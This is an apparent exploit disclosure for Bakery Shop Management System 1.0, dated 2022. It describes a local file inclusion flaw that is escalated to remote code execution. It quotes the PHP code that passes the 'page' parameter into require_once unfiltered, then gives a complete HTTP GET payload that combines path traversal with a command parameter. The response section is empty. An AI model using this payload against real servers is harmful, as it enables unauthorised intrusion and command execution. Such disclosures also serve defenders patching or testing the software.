w0kka w0kka what what # Title: Bakery Shop Management System 1.0 LFI To RCE # Author: Hejap Zairy # Date: 06.04.2022 # Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/ # Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php Needs more filtering require_once ``` require_once('DBConnection.php'); $page = isset($_GET['page']) ? $_GET['page'] : 'home'; if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){ header("Location:./"); exit; } ``` [+] Payload GET ``` GET //bsms/?page=../../../0day&515=dir HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s Upgrade-Insecure-Requests: 1 ``` #Status: CRITICAL #Response ```